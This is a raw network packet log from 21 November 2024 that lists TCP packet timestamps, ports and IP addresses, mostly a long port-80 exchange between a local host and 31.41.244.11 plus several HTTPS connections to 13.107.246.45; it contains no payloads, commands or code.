Nov 21, 2024 03:09:16.653067112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.653748989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.653799057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.653867006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.653913975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.657337904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.657372952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.657407999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.657433033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.657460928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.657465935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.657500029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.657505035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.657537937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.657547951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.657582998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.657608032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.657654047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.657766104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.657879114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.658667088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.658708096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.658746958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.658771992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.659337044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.659518003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.659569025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.660363913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.660398960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.660422087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.660444021 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.661053896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.661089897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.661108971 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.661140919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.661565065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.661644936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.661722898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.661772966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.662426949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.662481070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.662566900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.662616968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.663275003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.663309097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.663325071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.663355112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.664119005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.664176941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.821662903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.821784019 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.821801901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.821870089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.822056055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.822112083 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.822216988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.822268963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.822837114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.822889090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.822952032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.823004961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.823687077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.823740005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.823807001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.823858976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.824513912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.824563980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.824631929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.824686050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.825355053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.825404882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.825469971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.825515032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.826195002 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.826242924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.826323032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.826374054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.827028036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.827080011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.827131987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.827179909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.827867031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.827918053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.827986956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.828036070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.828712940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.828764915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.828830004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.828876972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.829505920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.829562902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.829627991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.829678059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.830354929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.830406904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.830471039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.830523014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.831188917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.831238985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.831286907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.831337929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.832015038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.832092047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.832138062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.832186937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.832832098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.832884073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.832947969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.832999945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.833693981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.833743095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.833810091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.833861113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.834520102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.834570885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.834656000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.834703922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.835392952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.835429907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.835444927 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.835474014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.835618019 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.836204052 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.836253881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.836333036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.836379051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.837034941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.837085009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.837174892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.837227106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.837894917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.837945938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.838011026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.838061094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.838666916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.838682890 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.838704109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.838732004 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.838783979 CET	49827	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.838785887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.838815928 CET	49827	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.838824987 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.838841915 CET	49827	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.838846922 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.839520931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.839581966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.839646101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.839699030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.840362072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.840418100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.840543985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.840590000 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.841181040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.841237068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.841301918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.841357946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.841680050 CET	49830	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.841711044 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.841773987 CET	49830	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.841903925 CET	49830	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.841913939 CET	443	49830	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.842020988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.842140913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.842144966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.842183113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.842849016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.842900991 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.842963934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.843015909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.843674898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.843725920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.843786001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.843832970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.844528913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.844582081 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.844661951 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.844712973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.845360041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.845412970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.845485926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.845536947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.846189976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.846240997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.846303940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.846354961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.847069979 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.847125053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.847209930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.847260952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.847888947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.847937107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.847999096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.848047018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.848712921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.848762989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.848809004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.848860025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.849158049 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.849528074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.849579096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.849644899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.849699020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.850362062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.850413084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.850476980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.850529909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.851197958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.851246119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.851289034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.851341963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.851538897 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.852026939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.852133989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.852150917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.852171898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.852344990 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.852404118 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.852458000 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.852474928 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.852488041 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.852494955 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.852859974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.852919102 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.852979898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.853028059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.853682041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.853741884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.853780031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.853835106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.854546070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.854594946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.854598045 CET	49831	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.854619026 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.854659081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.854691029 CET	49831	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.854716063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.854815006 CET	49831	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.854826927 CET	443	49831	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.855379105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.855431080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.855462074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.855505943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.856220007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.856271029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.856345892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.856399059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.857026100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.857074022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.857141018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.857189894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.857873917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.857927084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.857990026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.858038902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.858702898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.858752966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.858820915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.858870983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.859515905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.859566927 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.859630108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.859680891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.860357046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.860403061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.860466957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.860516071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.861180067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.861232996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.861310005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.861358881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.862040043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.862144947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.862162113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.862190008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.871512890 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.871575117 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.871572971 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.871638060 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.871682882 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.871721983 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.871752024 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.871767044 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.873723984 CET	49832	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.873766899 CET	443	49832	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.873868942 CET	49832	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.873999119 CET	49832	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.874016047 CET	443	49832	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.881180048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.881238937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.881305933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.881352901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.881570101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.881620884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.881684065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.881736040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.882397890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.882447958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.882512093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.882563114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.883200884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.883253098 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.921519041 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.924607038 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.924688101 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.924709082 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.924730062 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.924745083 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.924753904 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.924758911 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.926732063 CET	49833	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.926763058 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.926826954 CET	49833	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.926948071 CET	49833	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.926959038 CET	443	49833	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.927911997 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.927972078 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.928009987 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.928020954 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.928031921 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.928035975 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.930022001 CET	49834	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.930037975 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.930108070 CET	49834	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.930238008 CET	49834	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.930252075 CET	443	49834	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:17.023097038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.023194075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.023227930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.023307085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.023413897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.023471117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.023571968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.023627996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.024250031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.024306059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.024364948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.024421930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.025084972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.025142908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.025207996 CET	80	49814	31.41.244.11	192.168.2.5
